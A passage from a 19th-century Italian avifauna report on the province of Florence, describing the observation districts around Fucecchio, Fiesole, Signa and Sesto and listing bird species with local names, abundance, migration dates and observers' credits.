d'incubazione è sempre, o quasi, di 20 giorni e i piccoli stanno più a impennarsi, per le seconde e le terze è minore e i piccini molto più presto si sviluppano in modo che dopo 15 o 16 giorni che sono nati fuggono dal nido (Ott). --- **Firenze**, Lenzi dott. Adolfo e Turchetti-Centofanti dott. Italo (Fucecchio); Fucini dott. Davide (Vinci, Empoli); Gargioli Ugolino Desiderio (Fiesole); Ginori-Lisci march. Carlo (Doccia, Sesto); Paolucci marchesa Marianna (Reggello e Novoli, Firenze); Fontebuoni cavalier Angiolo (Lastra a Signa e Sesto, Firenze). Il distretto nel quale ho avuto luogo di fare quelle poche osservazioni che più avanti riporterò, ha dei confini abbastanza delimitati, essendo circondato per la massima parte da monti che lo chiudono e gli fanno corona. Essi sono: A tramontana i contrafforti dell'Appennino pistoiese che si estendono da Monsummano fino a Pescia. A pomente il monte Pisano. A mezzogiorno i colli che cominciando da San Romano, ove è la stazione ferroviaria sulla linea Firenze-Pisa, si prolungano poi con assai uniforme altezza verso Montopoli, San Miniato, fino ad Empoli ove a poca distanza da questo paese si riuniscono al monte Albano colla interposizione del letto dell'Arno. Il monte Albano chiude questo cerchio dalla parte di levante. Questa specie di gran catino è solcato dal fiume Arno che lo traversa da una parte all'altra nel suo lato di mezzogiorno e che lo divide in due parti diseguali estendendosi la sezione maggiore verso tramontana e ponente. Oltre questo fiume è irrigato da piccoli torrenti come la Pescia, la Nievole ed altri di minore importanza; racchiude due grandi paduli, quello di Bientina e quello di Fucecchio. Un lungo canale navigabile serve di scolo a quest'ultimo padule dal quale partendosi giunge in Arno presso Pontedera. Questo canale è degno di nota, servendo di guida a molti uccelli, che per esso, arrivano al padule. Il padule di Fucecchio non è coltivabile, facilmente è inondato dalle acque che in parte lo colmano e lo bonificano, vi si raccolgono foraggi buoni, letti per le bestie vaccine, cannelle e giunchi. La pesca e la caccia sono assai abbondanti. Quello di Bientina è oggi per la massima parte ridotto a coltivazione dopo l'essiccazione artificiale, va però soggetto, forse troppo facilmente, da qualche anno ad inondazioni. La pesca è scarsa, abbondante la caccia. Il terreno di tutto il distretto è per la massima parte coltivato a viti, gelsi e grano; però verso ponente si trovano ancora boschi di estensione ragguardevole ove abbonda il Pino, il Castagno e la Querce. Il suolo presenta delle piccole irregolarità, è ovunque praticabilissimo. D'intorno al padule di Fucecchio sono estese praterie. La costituzione del terreno è per la massima parte argillosa (Lenzi). Il comune di Fucecchio confina con i territori di otto comuni, cioè: a settentrione coi comuni di Uzzano e Buggiano; a levante con Lamporecchio, Cerreto Guidi e San Miniato; a mezzogiorno con Santa Croce sull'Arno e Castelfranco di sotto; a ponente con Montecarlo. Fucecchio, terra popolata tanto nel piano come nel colle, ha vaste pianure destinate alla coltura della vite e delle graminacee, vasti e dolci pendici di boschi di Cerro, Castagno e pinete. Praterie naturali che forniscono moltissimo prodotto annuo di buon fieno, e sono atte alla caccia delle Lodole, Pispole, Storni, Quaglie ec. ed un esteso padule per la pesca e la caccia dei Germani e di molte altre specie di animali acquatici. La pianura tra Fucecchio oltr'Arno e il canale di Usciana, può dirsi il risultato di terre di alluvione trascinate e depositate ivi dalle acque correnti dell'Arno e dell'Usciana, emissario maggiore del padule di Fucecchio. La superficie del comune di Fucecchio misura ettari 60,610 ed ari 90, con una popolazione di 11,105 abitanti. Ha buoni mezzi di comunicazione e di trasporto con ottime strade comunali e provinciali. Rispetto alla produzione agraria di questa contrada si ha vino, frutti, tutte le graminacee, canapa, lino e buon olio nelle alture. La campagna Fucechiese oltre che dall'Arno e dall'Usciana, è attraversata anche da diversi piccoli corsi di acqua, affluenti dell'Arno e del padule (Turchetti-Centofanti). Il distretto di Vinci, Empoli, è parte in pianura, parte in collina e ha circa sei chilometri di giro; il paese è esposto a siccità (Fucini). I confini del distretto delle osservazioni, nel comune di Fiesole, sono: a N. la catena di monte Morello e monte Senario; a N. E. poggi; ad E. i primi monti del Val d'Arno Superiore che partendosi dall'alveo di quel fiume si congiungono alle vallate del Mugello; a S. le colline Fiesolane; a S. O. le colline di Sesto fiorentino e così ad O. Si trova ad un'altezza massima di 500 metri sul mare; il terreno è molto ondulato, coltivazioni e boschi si alternano, ma le sommità dei monti sono in generale nude e a pastura. Nella primavera e nella estate i venti dominanti sono da S. O., nell'autunno e nell'inverno da N. E. La temperatura è mite d'estate e rigida d'inverno a causa dei venti (Gargioli). Il distretto di Doccia è situato nelle comunità di Sesto fiorentino, Campi e Calenzano; è parte in pianura, parte in collina (Ginori-Lisci). I confini del distretto di Firenze, essendo ben noti, ritengo inutile qualunque descrizione; solamente annoterò le località volta per volta che avrò occasione di descrivere qualche osservazione da me fatta. I luoghi maggiormente da me praticati nelle mie escursioni, sono le colline di Signa e Lastra a Signa, e le pianure dell'Arno e specialmente quella di Sesto fiorentino. I monti di Signa sono per la maggior parte coltivati ed in parte anche boschivi. Le pianure dell'Arno sono formate da alberete ec. Le pianure di Sesto sono coltivate ed in parte irrigate da gore, canali, torrenti, in parte da fossi stagnanti, praterie e laghi artificiali (Fontebuoni). Elenco delle specie di uccelli osservate nella provincia di Firenze, e più specialmente nei distretti di Fucecchio, Vinci-Empoli, Fiesole, Doccia-Sesto, Reggello, Novoli-Firenze, Signa e Firenze; coi nomi volgari locali e notizie di frequenza, sulle migrazioni, nidificazione, ec., ec. Corvus Corone, Cornacchia nera. Un maschio ucciso a Cacinaia, Signa nell'ottobre 1874. ¹ Questo elenco è compilato sulle osservazioni raccolte e le liste date dai signori: Lenzi dottor Adolfo (L.) e Turchetti-Centofanti dottor Corvus Cornix, Cornacchia. Frequent in marzo e in ottobre-novembre di passo (G. Fo.). Corvus frugilegus, Corvo. Scarso in ottobre (T.); divenuto raro (F.); frequente in marzo e ottobre-novembre (G. Fo.). Pica rustica, Gazza, Cecca (Fiesole). Scarsa, sedentaria in collina (T.); scomparsa affatto da 25 a 30 anni (F.); scarsa in aprile ed ottobre (G.); nidificante, ma scarsa (Gi. Fo.). Garrulus glandarius, Ghiandaia. Assai frequente e sedentaria, predilige i poggi (L. T.); molto diminuita (F.); comune (G. Gi.); specialmente in ottobre (Fo.). Sturnus vulgaris, Storno. Abbondante al piano di passo in ottobre e marzo (L. T. Gi.); negli inverni 1884-85 e 1885-86, dalla metà di novembre ai primi di febbraio, innumerevoli branchi di Stormi popolarono il mio parco a Novoli, venendovi regolarmente a passare la notte (P.); comune al piano specialmente in marzo (Fo.). Pastor roseus. Accidentale (L.); nella Collezione Italiana conservo quattro individui uccisi in provincia. Fringilla coelebs, Fringuello, Filunguello. Abbondantissimo, sedentario e di passo dal 15 ottobre al 15 novembre ed in marzo in grossi branchi (L. T. F. G. Gi. Fo.). Fringilla Montifringilla, Peppola. Frequente di passo dal 25 ottobre al 10 novembre ed in marzo (L. T.); a branchi od isolate in novembre e dicembre, nel dicembre 1886 vi fu un passo straordinariamente abbondante (F.); frequente (G. Fo.). Italo (con vari collaboratori, T.), nel distretto di Fucecchio; Fucini dotto Davide (F.); nel distretto di Vinci, Empoli; Gargioli Ugolino Desiderio (G.); in quello di Fiesole; Ginori-Lisci marchese Carlo (Gi.); in quello di Doccia, Sesto; Paolucci marchesa Marianna (P.); in quelli di Reggello e di Novoli; Fontebuoni cav. Angiolo (Fo.); in quelli di Signa e Sesto. Ho indicato qui con iniziali od abbreviazioni la parte che spetta a ciascuno, e per completare l'elenco ho aggiunto alcune specie non annotate dagli osservatori suddetti e che mi constano esser state prese in provincia; questo mio contributo non è segnato con iniziali. Montifringilla nivalis. Conservo un maschio ucciso a Marradi nel febbraio 1874. Petronia stulta, Passera lagia. Ora più ora meno frequente, passa alla fine di settembre e primi d’ottobre ed in febbraio e marzo (L. T.); scarsa vedesi anche in novembre e dicembre (F.); frequente e anche sedentaria (G. Fo.); vedesi specialmente in ottobre (Fo.). Passer montanus, Passera strega (Fucecchio) Passera minuta, Passera mattugia (Empoli). Frequentissima, sedentaria e di passo specialmente in settembre (L. T. F. G. Gi. Fo.). Passer Italiae, Passera grossaia (Fucecchio, Empoli) Passera di tetto o reale (Fiesole). Abbondante e sedentaria, anco di passo in settembre (L. T. F. G. Gi. Fo.). Coccothraustes vulgaris, Frusone. Frequente di passo in settembre, ottobre e marzo; qualcuno nidifica (L. T.); in autunno gli ultimi passano in novembre, viaggia a branchi (F.); comune, qualche volta ne ho presi in estate ed ha nidificato nel distretto (G.); frequente di passo (Gi. Fo.). Ligurinus Chloris, Carenzolo, Verdone, Calenzuolo (Fiesole). Frequentissimo, sedentario e di passo in settembre ed ottobre, in marzo ed aprile (L. T. F. G. Gi. Fo.). Chloroptila Citrinella. Un individuo di questa specie, creduto un ibrido, venne preso il 15 ottobre 1886 colla prodina, è perfettamente descritto dal dott. Lenzi. Chrysomitris Spinus, Lucherino. Di scarso passaggio nella seconda metà di marzo ed in ottobre, era nel passato assai più frequente (L. T. F.); frequente, ma non ogni anno, una volta ne presi due in estate (G.); frequente di passo (Gi.); scarso (Fo.). Carduelis elegans, Cardellino, Calderino, Caporosso (Fiesole). Sedentario e frequente, di passo in ottobre ed in marzo-aprile (L. T. F. G.); si distingue una razza più grossa detta « lombarda » (G.); nidificante e frequente di passo (Gi. Fo.). Serinus hortulanus, Sverzellino, Raperino. Scarso, passa in agosto e settembre (L. T. F.); nidificante da circa 50 anni (F'); frequente e sedentario (G'); scarso, nidificante e di passo (Gi); passa anco in ottobre e marzo (Fo). Serinus Canarius. Un maschio preso al Galluzzo il 15 ottobre 1883. Cannabina Linota, Montanello. Frequente al poggio, di passo in settembre-ottobre e marzo-aprile (L. T.); vedonsi branchi anche in novembre e dicembre (F'); comune e sedentario (G'); scarso di passo (Gi. Fo.). Ægiothus rufescens, Organetto. Accidentale (G.); ne conservo due, entrambi colti in ottobre. Carpodacus erythrinus, Verdone bastardo. Non tanto raro nell'autunno, ne conservo quattro: Firenze, agosto 1840; Mugello, 25 settembre 1882; Empoli, settembre 1884 e Campi-Bisenzio, ottobre 1885. Pyrrhula europæa, Fringuello marino, Zafolotto (Fiesole), Becotto (Signa). Scarso di passo irregolare in ottobre-novembre (L. T. G. Fo.). Loxia Curvirostra, Crociere. Di comparsa irregolare in estate ed autunno (T.); accidentale, avrebbe anche nidificato nel distretto (G.); scarso in ottobre-novembre (Fo.). Miliaria Projer, Schiattaione (Fucecchio), Braviere (Empoli, Fiesole), Sbraviere (Sesto). Sedentario e frequente al piano, passa in ottobre e marzo (L. T.); sedentario, ma poco frequente (F'); comune (G. Gi. Fo.). Emberiza Citrinella, Zigolo giallo. Frequente nella seconda metà di novembre ed in marzo (L. T.); anche in dicembre (F'); comune (G.); di passo solo (Gi); comune (Fo.); forse sedentario ai monti. Emberiza Cirlus, Zigolo nero. Frequente, di passo in ottobre-novembre e marzo-aprile; anche nidificante (L. T.); anche in dicembre si vede (F'); comune e sedentario (G.); frequente di passo (Gi); comune (Fo.). Emberiza Hortulana, Ortolano. Estivo, scarso, di passo in maggio, luglio ed agosto-settembre (T. F'); frequente, si distingue una razza piccolo detta « scopina » (G.); comune in estate (Gi. Fo.). Emberiza Cia, Zigolo muciatto o mugiatto. Scarso (T.); pochi passano in novembre e dicembre (F.); abbondante (G.); di passo (Gi.); comune (Fo). Emberiza leucocephala. Non tanto raro nell’autunno e nell’inverno, nella Collezione italiana ne conservo 5 presi a Marradi, febbraio 1874; Prato, novembre 1868; Firenze, 20 ottobre 1881, Impruneta, 12 novembre 1882. Emberiza Schœniclus, Migliarino. Frequente al piano in marzo, ottobre e novembre (T.); accidentale (G.). Emberiza pyrrhuloides, Passera di padule. Non frequente. Calcarius nivalis. Accidentale (T.); ne ebbi diversi da San Cresci e da Marradi tra il novembre ed il febbraio. Calcarius lapponicus. Accidentale (G.); uno preso a Pistoia in novembre 1875, ed uno colto presso Firenze 11 ottobre 1881. Melanocorypha Calandra, Calandra. Scarsa al piano (T.). Calandrella brachydactyla. Accidentale (G.); scarso in primavera e settembre (Fo.). Alauda arborea, Bonicola, Lodolina. Frequentissima al poggio, di passo in marzo, settembre ed ottobre (L. T.); scarsa (F.); comune e sedentaria, scarsa al passo in primavera (15 marzo-10 aprile), abbondante in autunno (1 ottobre-10 novembre) (G.); comune (Fo.). Alauda arvensis, Lodola vera, Panterana, Pantiera (Fiesole). Frequentissima, anche nidificante, ma specialmente di passo in branchi enormi dal 20 ottobre al 15 novembre (L. T.); sedentaria (F.); comune e sedentaria, abbondante al passo 15 maggio-10 aprile, e 15 ottobre-20 novembre (G.); comune (G. Fo.). Galerita cristata, Cappellaccia, Lodola cinffa, Lodola cappelluccia (Empoli). Sedentaria e frequente, erratica in settembre (L. T. F. G. Gi. Fo.). Agrodroma campestris, Corriere (Fiesole), Ciurlodi (Sesto fiorentino), Sarlodi (Signa). Scarso al piano in settembre (G.); poco frequente, irregolare (Fo.). Corydalla Richardi. Nella Collezione italiana sono due individui colti nei pressi di Firenze nel 1830 e nel 1843. Anthus pratensis, Pispolino, Pispola. Frequentissima di passo in settembre, ottobre e marzo (L. T.); vedesi a branchi in novembre ed dicembre (F.); frequente (G. Gi. Fo.). Anthus cervinus, Pispola. Scarsa (G.); passa in aprile-maggio e ottobre-novembre, ne conservo 6 colti in provincia. Anthus trivialis, Prispolone. Frequentissimo di passo in agosto-settembre e primi d'ottobre e marzo (L. T.); viaggia a branchetti (F.); comune (G. Gi. Fo.). Anthus Spipoletta, Fossacchia (Fucecchio, Fiesole), Fossaccio. Frequente al piano (T.); scarso invernale (G. Fo.). Budytes flavus, Cuttè. Frequent di passo in maggio e meno in agosto (T.); comune in aprile e tutto maggio (Fo.). Budytes cinereocapillus, Strisciaiola. Frequent di passo in maggio e meno in agosto (T.); comune in aprile e maggio (Fo.). Budytes borealis. Non rara in primavera (Fo.); ogni anno vedo dei maschi adulti colti nel Fiorentino in aprile-maggio. Budytes melanocephalus. Ho un maschio colto a Sesto fiorentino l'11 maggio 1877. Budytes campestris. Ebbi un maschio il 9 settembre 1885 da San Piero a Ponte (Firenze). Motacilla alba, Ballerina, Cuccustrettola, Batticoda bigia o di tetto (Fiesole). Sedentaria ma non comune, di passo in ottobre e marzo-aprile (T.); comune, passo scarso 15 marzo-10 aprile e abbondante 8 ottobre-15 novembre (G.); scarsa al piano (Gi.); comune (Fo.). Calobates melanope, Cutrettola, Cuccustrettola, Batticoda gialla o di fosso (Fiesole). Scarsa, sedentaria ai colli, di passo in ottobre e marzo (T.); frequente (G.); scarsa (Gi.); non rara (Fo.). Saxicola Oenanthe, Culbianco, Codibianco, Massaiola (Fiesole). Estivo, frequente, di passo in marzo, aprile, agosto e settembre (L. T. F. G. Gi. Fo.). Saxicola albicollis, Monachella. Scarsa, di doppio passo, ho un maschio colto a Pistoia nel gennaio 1875 (V. Avifauna Italica pag. 87); ed un altro ucciso a Prato nell'aprile 1883. Saxicola Stapazina, Monachella a gola nera. Assai rara in primavera. Saxicola melanoleuca, Monachella a collo nero. Ne ho due presi a Prato nell'aprile 1883 e 1886. Monticola saxatilis, Codirosso. Scarso (T.); vedonsi di passo in aprile e di ripasso dal principio di settembre ai primi d'ottobre, isolati (F.); estivo, frequente, nidificante al monte (G. Gi.); scarso (Fo.). Monticola Cyanus, Passera solitaria. Scarsa, ma sedentaria ai monti (T. G. Gi. Fo.). Merula nigra, Merlo. Frequente e sedentario, di passo in ottobre e novembre (L. T. F. G. Gi. Fo.). Merula torquata, Merlo con collare. Non tanto raro dall'ottobre al marzo, ne conservo parecchi presi in Mugello. Turdus pilaris, Cesena. Scarsa al piano in novembre (L. T.): frequente al monte (G.); scarsa (Gi.); comune (Fo.). Turdus iliacus, Sassello, Tordo sassello, Tordo piccolo (Fiesole). Frequente in collina in ottobre, novembre, dicembre e marzo (L. T. G. Gi. Fo.). Turdus musicus, Tordo, Tordo bottaccio, Tordo grosso (Fiesole). Frequentissimo in poggio, passa dal 10-30 ottobre e primi novembre ed in febbraio e marzo (L. T.); scarso (F.); frequente (G. Gi. Fo.). Turdus viscivorus, Tordeletta. Frequente, sedentaria e di passo in ottobre e marzo (L. T.); assai diminuita (F.); comune (G. Gi. Fo.). Aëdon Luscinia, Rusignolo. Estivo e frequente da aprile ad ottobre (L. T. F. G. Gi. Fo.). Erithacus Rubecula, Pittirocco, Pettirocco. Frequente, qualcuno nidifica in collina, passa in ottobre e marzo (L. T. G. Gi. Fo.). Cyanecula Wolfi, Pett'azzurro. Accidentale (L.); scarso in aprile nel pian di Sesto si crede che questo sia un abito primaverile del Codirosso (Fo.). Ruticilla Phoenicurus, Codirosso, Codirossino (Fiesole). Frequenti, specialmente di passo in ottobre, qualcuno nidifica al poggio (L. T.); vedonsi anche dalla metà di agosto e in settembre, viaggia isolato (F.); comune (G. Gi. Fo.); giungono in marzo-aprile (Fo.). **Ruticilla titys**, *Collirosso spazzacamino*. Non raro e certamente sedentario sui monti della provincia; ne ho avuti e visti molti e non comprendo come questa specie sia sfuggita ai diversi osservatori. **Pratincola Rubicola**, *Saltampalo*, *Saltanvette*, *Scrocchino*, *Prete* (Empoli), *Salimpunta*, *Saltanseccio* (Fiesole). Frequenti e sedentario (L. T. F. G. Gi. Fo.). **Pratincola Rubetra**, *Schiaccino* (Fucecchio), *Salimpunta di poggio* (Fiesole). Scarso al piano (T.); scarso al monte (G.); giunge in marzo e riparte in settembre (Fo.). **Sylvia orphaea**, *Bigione*. Frequenti, estivo (T. G. Gi.). **Sylvia cinerea**, *Sterpazzola*, *Scoperagnola*, *Beccafico* (Fiesole). Estiva e frequenti (L. T. G. Gi. Fo.). **Sylvia Curruca**, *Bigione piccolo* (Fiesole). Scarsa, ma nidificante, estiva (G.). **Sylvia subalpina**, *Beccafichino*, *Beccafico piccolo* (Fiesole). Scarsa, ma sedentaria (T.); frequente (G.). **Monachus Atricapillus**, *Capinera*. Sedentaria e frequenti, di passo in marzo-aprile ed ottobre (L. T. G. Gi. Fo.). **Monachus hortensis**, *Beccafico*, *Beccafico reale* (Fiesole). Frequenti, nidificante, di passo in aprile, agosto e settembre (L. T. F. G. Fo.). **Pyrophthalma melanocephala**, *Occhiorosso*. Frequenti, passa in ottobre (L. T.). **Melizophilus undatus**, *Magnanina*. Non rara e sedentaria (Fo.). **Phylloscopus sibilator**, *Luì verde*. Scarso, di doppio passo (T.): frequente, estivo e nidificante (G.); comune (Fo.). **Phylloscopus Trochilus**, *Luì giallo*. Scarso, di doppio passo e nidificante ai monti (T.); frequente (G. Fo.). **Phylloscopus Bonellii**, *Luì bianco*. Raro, di doppio passo (T.): frequente, estivo e nidificante (G.). **Phylloscopus rufus**, *Luì*. Invernale e nidificante (T.); frequente (T.). Hypolais icterina, Beccafico giallo. Estivo, frequente (G.). Hypolais polyglotta, Beccafico giallo. Estivo, frequente (G. Fo.). Acrocephalus streperus, Cannaiola piccola, Sparacannelle (Fucecchio), Beccafico di padule (Sesto). Estiva al piano (T.), scarsa (Fo.). Acrocephalus arundinaceus, Cannaiola grossa, Cannareccione. Frequenti ed estivo al piano (T.); scarso (Fo.). Calamodus schœnobœnus, Forapaglie. Accidentale (G.); scarso, estivo (Fo.). Calamodus aquaticus, Forapaglie. Scarso ed estivo, l'ebbi da Sesto fiorentino nell'agosto 1882. Lusciniola melanopogon. Scarso e localizzato, ma sedentario. Locustella naevia. L'ebbi una sola volta, da Fiesole, il 10 settembre 1883. Cettia Cettii, Rusignolo di padule. Scarso, estivo (Fo.). Cisticola cursitans, Beccamoschino. Raro (Fo.); ma sedentario. Troglodytes parvulus, Re di macchia, Scricciolo, Foramacchie (Fiesole). Frequenti in poggio, specialmente in novembre e marzo (L. T. G.); sedentario (Gi.); comune (Fo.). Cinclus aquaticus, Merlo acquaiolo. Scarso (Fo.); non raro e sedentario ai monti. Accentor collaris, Sordone. Sedentario ai monti, così nell'Appennino pistoiese, scende col freddo al piano. Accentor modularis, Passerina stipaiola (Fucecchio), Passera scoparina, stipaiola o sepaiola (Fiesole). Frequenti al poggio in ottobre, novembre e marzo (L. T. G. Fo.). Regulus cristatus, Fiorrancino, Fiorarancino, Arancino (Fiesole). Frequenti in ottobre (T. G. Fo.); sedentario. Regulus ignicapillus, Fiorrancino, Fiorarancino, Arancino (Fiesole). Frequenti in ottobre (L. T. G. Fo.); sedentario. Ægithalus pendulinus, Codoncino, Fiaschetta (Fucecchio). Scarso da aprile ad ottobre; nidifica (T.). Acredula Irbyi, Codibugno (Fucecchio), Codibugnolo (Fiesole). Frequenti e sedentario al poggio (L.); scarso, di comparsa irregolare in autunno (G. Gi. Fo.). Acredula rosea, Codona. Accidentale, ne conservo una presa a Dicomano il 22 settembre 1881 (Avif. Ital. pag. 152). Parus major, Cincera (Fucecchio, Empoli), Cincia grossa (Fiesole). Frequent e sedentaria (L. T. F. G. Gi. Fo.). Parus ater, Cincia mora. Scarsa, ma sedentaria ai monti. Cyanistes caeruleus, Cincia turchina (Fiesole). Scarsa ma sedentaria (G.). Poecele palustris, Cincia bigia (Fiesole). Frequent e (G.); scarsa (Fo.); sedentaria. Sitta cæsia, Picchiotto. Scarso (T.); frequent e (Fo.); sedentario. Certhia brachydactyla, Rampichino, Picchio rampichino (Fiesole). Scarso al piano, ma sedentario (T. G. Fo.). Tichodroma muraria, Muraiolo. Non comune, ma sedentario, l’ho veduto prendere persino in Firenze (Avif. Ital. pag. 168). Oriolus Galbula, Rigogolo. Poco frequent e da aprile ad ottobre, nidifica specialmente in collina (L. T.); parte o ripassa in agosto e settembre (F.); frequent e (G. Gi. Fo.). Ampelis Garrulus. Accidentale, ne conservo uno preso a Marradi nel febbraio 1873 (Avif. Ital. pag. 170). Lanius Excubitor, Averlia gazzerina (Fucecchio). Scarsa (L. Fo.); invernale, si vede da ottobre a gennaio. Lanius minor, Averlia bianca (Fucecchio), Velia gazzina (Fiesole), Velia cenerina. Scarsa da aprile a settembre, nidifica al poggio (L. T.); frequent e, passa 25 aprile-15 maggio e 15 agosto-15 settembre (G.); scarsa in estate (Gi.); non rara (Fo.). Lanius Collurio, Averlia rossa (Fucecchio), Velia comune (Fiesole). Frequent e da aprile a settembre ovunque (L. T.); passa abbondante 25 aprile-15 maggio e 15 agosto-15 settembre (G.); comune in estate (Gi. Fo.). Lanius auriculatus, Capirossa (Fucecchio), Velia capirossa (Fiesole). Scarsa al piano (T.); estiva, ma poco comune, passa dal 25 aprile-15 maggio e 15 agosto-15 settembre (G.); scarsa (Fo.). Butalis Grisola, Beccamosche (Fiesole). Estivo e frequent e (G.); scarso (Fo.). Muscicapa collaris, Balia. Rara; il 23 agosto 1888 il signor Gargioli mi portava pel Museo un esemplare assai interessante di questa specie, colto quella mattina alla sua tesa a Fiesole. Dalle dimensioni dei testicoli era un maschio adulto, eppure sulla testa e sul dorso il nero era rimpiazzato da un cenerino scuro e non v'ha traccia del bianco sulla fronte, sulla nuca e sul dietro del collo il collare caratteristico appare però nettamente segnato dal color cenerino molto più chiaro. Dubito che questo sia un abito autunnale dell'adulto, che sarebbe assunto anche dalla specie seguente e che somiglia assai a quello del giovane e della femmina. **Muscicapa Atricapilla**, *Balia*. Accidentale (*G.*); scarsa in aprile (*Fo.*); io però ne ho veduto più volte in aprile sugli alberi del Viale dei Colli, Firenze. **Hirundo rustica**, *Rondine vera*. Comune assai, estiva, i primi giungono alla metà di marzo, gli ultimi partono in ottobre; predilige il piano (*L. T.*); frequente (*G. Gi. Fo.*). **Hirundo rufula**, *Rondine forestiera*. Accidentale, ne uccisi una che donai alla Collezione italiana (*Fo.*); il 25 marzo 1877 ne vidi volare una sull'Arno in Firenze (*Avif. Ital.* pag. 185). **Chelidon urbica**, *Balestruccio*. Assai frequente, i primi giungono qualche giorno dopo la Rondine; si vede ovunque (*L. T.*); passo 30 marzo-15 aprile e 1-settembre-15 ottobre (*G. Fo.*). **Chelidon cashmirensis**. Accidentale, uno colto presso Firenze il 13 ottobre 1885 (*Avif. Ital.* pag. 187). **Clivicola riparia**, *Topino, Bigino* (Fucecchio), *Occhi di Pulce* (Sesto). Meno frequente del Balestruccio, nidificante al piano (*L. T.*); piuttosto scarso (*Fo.*). **Cypselus Apus**, *Rondone*. Frequente, giunge il 10 aprile, parte in luglio (*L. T. G. Fo.*). **Cypselus Melba**, *Rondone bianco*. Scarso (*Fo.*). **Caprimulgus europaeus**, *Nottola, Stiaccione, Ingoiavento* (Fiesole), *Nottolaccio* (Doccia, Sesto). Scarso, estivo e nidificante (*T.*); frequente ai monti (*G.*; scarso (*Gi.*); comune ai monti (*Fo.*). Picus major, Picchio rosso. Scarso (G.); al monte (Fo.); sedentario. Picus medius, Picchio mezzano. Scarso assai, ne conservo uno ucciso a Prato il 20 gennaio 1876. Picus minor, Picchio minore. Non comune e specialmente invernale. Gecinus viridis, Picchio verde, Picchio gallinaccio. Scarso, ma sedentario (T. G.); comune (Fo.). Lynx Torquilla, Torgicollo (Fucecchio), Torricollo (Fiesole). Piuttosto scarso, ma sedentario (L. T.); frequente (G. Fo.); di passo in marzo, settembre-ottobre (Fo.). Cuculus canorus, Cuculo, Cuculio (Empoli), Cucco (Fiesole). Scarso, giunge in magg. (L. T.); i primi si vedono alla metà di aprile in coppie, e così partono in sett. diretti al S. (F.); comune ai monti (G.); scarso (Gi.); comune (Fo.). Coccystes glandarius. Accidentale (Fo.); ebbi per la Collezione italiana una femmina giovane uccisa a Poggio a Caiano (Firenze) il 25 marzo 1888. Alcedo Ispida, Piombino, Uccel Santa Maria, Beccapesci (Sesto). Scarso, ma sedentario (T. G. Gi.); comune (Fo.). Coracias Garrula, Ghiandaia marina. Rara (L.); scarsa in collina, vedute in maggio ed ottobre (Fo.). Merops Apiaster, Grottaione. Scarso (T.); accidentale (G.); scarso in primavera (Fo.); passa anche in settembre. Upupa Epop, Bubbola. Scarsa, giunge in marzo-aprile (L. T.); frequente (G. Fo.); partono in settembre (Fo.). Strix flammea, Barbagianni. Scarso, ma sedentario (T. G.); di passo (Gi.); comune (Fo.). Syrnium Aluco, Allocco. Non abbondante, ma sedentario in Mugello. Asio Otus, Gufo. Scarso (Fo.); specialmente vedesi dall’ottobre al dicembre. Asio accipitrinus, Gufo. Non comune (Fo.); vedesi più facilmente in marzo-aprile ed ottobre-novembre, ma ha nidificato presso Firenze (Avif. Ital. pag. 225). Athene Noctua, Civetta. Frequente e sedentaria (L. T. G. Gi. Fo.). Scops Giu, Assiolo, Chiù (Fiesole). Scarso, estivo (T.); frequente, passa dal 25 marzo al 15 aprile e dal 15 agosto al 15 settembre (G.); comune (Gi. Fo.). Qualcuno rimane l'inverno (Avif. Ital. pag. 229). Bubo maximus, Gufo reale. Raro ai monti (Fo.). Circus aeruginosus, Falco di padule. Comune (T.); scarso (Fo.): sedentario. Circus cyaneus, Albanella. Accidentale (L.); avuta in gennaio, marzo, aprile ed ottobre, non è tanto rara. Circus Swainsoni, Falco bianco (Fucecchio). Rara (T.): avuta più volte in marzo, aprile e novembre. Circus cineraceus. Accidentale in primavera. Pandion Haliaëtus, Falco pescatore. Scarso (Fo.); ne conservo tre presi in provincia nel marzo e nell'aprile. Circaetus gallicus, Biancone. Scarso, ma non raro; ebbi una grossa femmina uccisa ad Empoli il 15 marzo 1888. Haliaëtus Albicilla, Aquila di mare. Un individuo fu ucciso anni sono a Poggio a Caiano, Firenze (Mangnelli). Aquila pomarina. Accidentale (Avif. Ital. pag. 239). Aquila clanga. Accidentale, ne conservo una presa ad Empoli nell'anno 1868. Buteo vulgaris, Poiana, Foiana (Sesto). Scarsa (L. T. Gi.); comune (Fo.); sedentaria. Pernis apivorus, Falco cappone. Di scarso passaggio in ottobre (L.); più in settembre. Milvus Ictinus, Nibbio. Non raro (Fo.). Milvus migrans, Nibbio nero. Accidentale, ne conservo uno ucciso a Poggio a Caiano (Firenze) nell'anno 1856. Falco Peregrinus, Falcone. Raro, ne conservo uno ucciso presso Firenze il 21 luglio 1841; ed un altro preso ad Erbaia (Mugello) il 20 settembre 1883; ed un terzo colto a Marcialla (Val di Pesa) nel luglio 1875. Hypotriorchis Subbuteo, Lodolaio. Scarso (T.); in settembre e ottobre (G.); non raro (Fo.). Cerchneis Tinunculus, Falchetto da uccelli. Frequente e sedentario (G. Fo.). Cerchneis vespertinus, Grillaio. Non raro, ma irregolare nelle comparse in aprile-maggio. Asiur palumbarius, Astore. Raro (T.); vedoinsi specialmente i giovani in ottobre e novembre. Accipiter Nisus, Sparviere, Falco cenerino (Fiesole). Scarso (T.); frequente e sedentario (G. Fo.). Gyps fulvus, Grifone. Accidentale, uno fu preso molti anni fa presso Firenze (Avif. Ital. pag. 266). Pelecanus Onocrotalus, Pellicano. Accidentale, ne conservo uno preso ad Empoli nel giugno 1836 (Avif. Ital. p. 269). Phalacrocorax Carbo. Accidentale (L.). Ardea cinerea, Scarza cenerina. Frequente in marzo ed aprile (L. T. Fo.). Ardea purpurea, Ranocchiaia. Scarso (T.); non raro in aprile e maggio (Fo.); di passo più scarso in settembre-ottobre. Egretta alba, Grand'Airone d'Italia (Sesto). Rara assai (Fo.); ne ebbi una da Sesto fiorentino il 15 novembre 1878. Egretta Garzetta, Ariotto (Fucecchio). Non comune in maggio (T.). Ardeola ralloides, Scarza col ciuffo (Sesto). Non rara di passo nell'aprile-maggio (Fo.); di scarso passo anche in settembre. Ardetta minuta, Cinciguatto (Fucecchio). Estivo, frequente e nidificante (T.); arriva in aprile e maggio (Fo.); parte in agosto-settembre. Botaurus stellaris, Scarza cappona (Fucecchio). Frequente in marzo, aprile, ottobre e novembre (L. T.); scarso al piano (Fo.); avuto anche in dicembre. Nycticorax griseus, Nonna col ciuffo, Pavoni africani (Sesto). Comune di passo in aprile-maggio (Fo.). Ciconia alba, Cicogna. Scarsa di maggio o giugno (Fo.). Ciconia nigra, Cicogna nera. Accidentale, ne furono vedute quattro nel 1880 (L.); scarsa (Fo.). Platalea Leucorodia. Una venne uccisa nel 1881 